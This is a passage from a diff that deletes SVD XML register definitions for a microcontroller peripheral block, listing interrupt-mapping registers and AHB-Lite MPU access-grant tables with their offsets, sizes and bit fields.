-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_I2S1_INT_MAP</name>
-          <addressOffset>0x29C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_I2S1_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_UART_INTR_MAP</name>
-          <addressOffset>0x2A0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_UART_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_UART1_INTR_MAP</name>
-          <addressOffset>0x2A4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_UART1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_UART2_INTR_MAP</name>
-          <addressOffset>0x2A8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_UART2_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SDIO_HOST_INTERRUPT_MAP</name>
-          <addressOffset>0x2AC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SDIO_HOST_INTERRUPT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_EMAC_INT_MAP</name>
-          <addressOffset>0x2B0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_EMAC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_PWM0_INTR_MAP</name>
-          <addressOffset>0x2B4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_PWM0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_PWM1_INTR_MAP</name>
-          <addressOffset>0x2B8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_PWM1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_PWM2_INTR_MAP</name>
-          <addressOffset>0x2BC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_PWM2_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_PWM3_INTR_MAP</name>
-          <addressOffset>0x2C0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_PWM3_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_LEDC_INT_MAP</name>
-          <addressOffset>0x2C4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_LEDC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_EFUSE_INT_MAP</name>
-          <addressOffset>0x2C8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_EFUSE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CAN_INT_MAP</name>
-          <addressOffset>0x2CC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CAN_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RTC_CORE_INTR_MAP</name>
-          <addressOffset>0x2D0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RTC_CORE_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RMT_INTR_MAP</name>
-          <addressOffset>0x2D4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RMT_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_PCNT_INTR_MAP</name>
-          <addressOffset>0x2D8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_PCNT_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_I2C_EXT0_INTR_MAP</name>
-          <addressOffset>0x2DC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_I2C_EXT0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_I2C_EXT1_INTR_MAP</name>
-          <addressOffset>0x2E0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_I2C_EXT1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RSA_INTR_MAP</name>
-          <addressOffset>0x2E4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RSA_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI1_DMA_INT_MAP</name>
-          <addressOffset>0x2E8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI1_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI2_DMA_INT_MAP</name>
-          <addressOffset>0x2EC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI2_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI3_DMA_INT_MAP</name>
-          <addressOffset>0x2F0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI3_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_WDG_INT_MAP</name>
-          <addressOffset>0x2F4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_WDG_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TIMER_INT1_MAP</name>
-          <addressOffset>0x2F8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TIMER_INT1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TIMER_INT2_MAP</name>
-          <addressOffset>0x2FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TIMER_INT2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_T0_EDGE_INT_MAP</name>
-          <addressOffset>0x300</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_T0_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_T1_EDGE_INT_MAP</name>
-          <addressOffset>0x304</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_T1_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_WDT_EDGE_INT_MAP</name>
-          <addressOffset>0x308</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_WDT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_LACT_EDGE_INT_MAP</name>
-          <addressOffset>0x30C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_LACT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_T0_EDGE_INT_MAP</name>
-          <addressOffset>0x310</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_T0_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_T1_EDGE_INT_MAP</name>
-          <addressOffset>0x314</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_T1_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_WDT_EDGE_INT_MAP</name>
-          <addressOffset>0x318</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_WDT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_LACT_EDGE_INT_MAP</name>
-          <addressOffset>0x31C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_LACT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_MMU_IA_INT_MAP</name>
-          <addressOffset>0x320</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_MMU_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_MPU_IA_INT_MAP</name>
-          <addressOffset>0x324</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_MPU_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_IA_INT_MAP</name>
-          <addressOffset>0x328</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CACHE_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_UART</name>
-          <addressOffset>0x32C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UART_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SPI1</name>
-          <addressOffset>0x330</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SPI0</name>
-          <addressOffset>0x334</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI0_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_GPIO</name>
-          <addressOffset>0x338</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GPIO_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_FE2</name>
-          <addressOffset>0x33C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FE2_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_FE</name>
-          <addressOffset>0x340</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FE_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_TIMER</name>
-          <addressOffset>0x344</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_RTC</name>
-          <addressOffset>0x348</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RTC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_IO_MUX</name>
-          <addressOffset>0x34C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IOMUX_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_WDG</name>
-          <addressOffset>0x350</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WDG_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_HINF</name>
-          <addressOffset>0x354</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HINF_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_UHCI1</name>
-          <addressOffset>0x358</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UHCI1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_MISC</name>
-          <addressOffset>0x35C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MISC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_I2C</name>
-          <addressOffset>0x360</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2C_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_I2S0</name>
-          <addressOffset>0x364</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2S0_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_UART1</name>
-          <addressOffset>0x368</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UART1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_BT</name>
-          <addressOffset>0x36C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BT_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_BT_BUFFER</name>
-          <addressOffset>0x370</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BTBUFFER_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_I2C_EXT0</name>
-          <addressOffset>0x374</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2CEXT0_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_UHCI0</name>
-          <addressOffset>0x378</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UHCI0_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SLCHOST</name>
-          <addressOffset>0x37C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLCHOST_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_RMT</name>
-          <addressOffset>0x380</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RMT_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PCNT</name>
-          <addressOffset>0x384</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PCNT_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SLC</name>
-          <addressOffset>0x388</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_LEDC</name>
-          <addressOffset>0x38C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LEDC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_EFUSE</name>
-          <addressOffset>0x390</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>EFUSE_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SPI_ENCRYPT</name>
-          <addressOffset>0x394</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI_ENCRYPY_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_BB</name>
-          <addressOffset>0x398</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BB_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PWM0</name>
-          <addressOffset>0x39C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PWM0_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_TIMERGROUP</name>
-          <addressOffset>0x3A0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMERGROUP_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_TIMERGROUP1</name>
-          <addressOffset>0x3A4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMERGROUP1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SPI2</name>
-          <addressOffset>0x3A8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI2_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SPI3</name>
-          <addressOffset>0x3AC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI3_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_APB_CTRL</name>
-          <addressOffset>0x3B0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APBCTRL_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_I2C_EXT1</name>
-          <addressOffset>0x3B4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2CEXT1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_SDIO_HOST</name>
-          <addressOffset>0x3B8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDIOHOST_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_EMAC</name>
-          <addressOffset>0x3BC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>EMAC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_CAN</name>
-          <addressOffset>0x3C0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAN_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PWM1</name>
-          <addressOffset>0x3C4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PWM1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_I2S1</name>
-          <addressOffset>0x3C8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2S1_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_UART2</name>
-          <addressOffset>0x3CC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UART2_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PWM2</name>
-          <addressOffset>0x3D0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PWM2_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PWM3</name>
-          <addressOffset>0x3D4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PWM3_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_RWBT</name>
-          <addressOffset>0x3D8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RWBT_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_BTMAC</name>
-          <addressOffset>0x3DC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BTMAC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
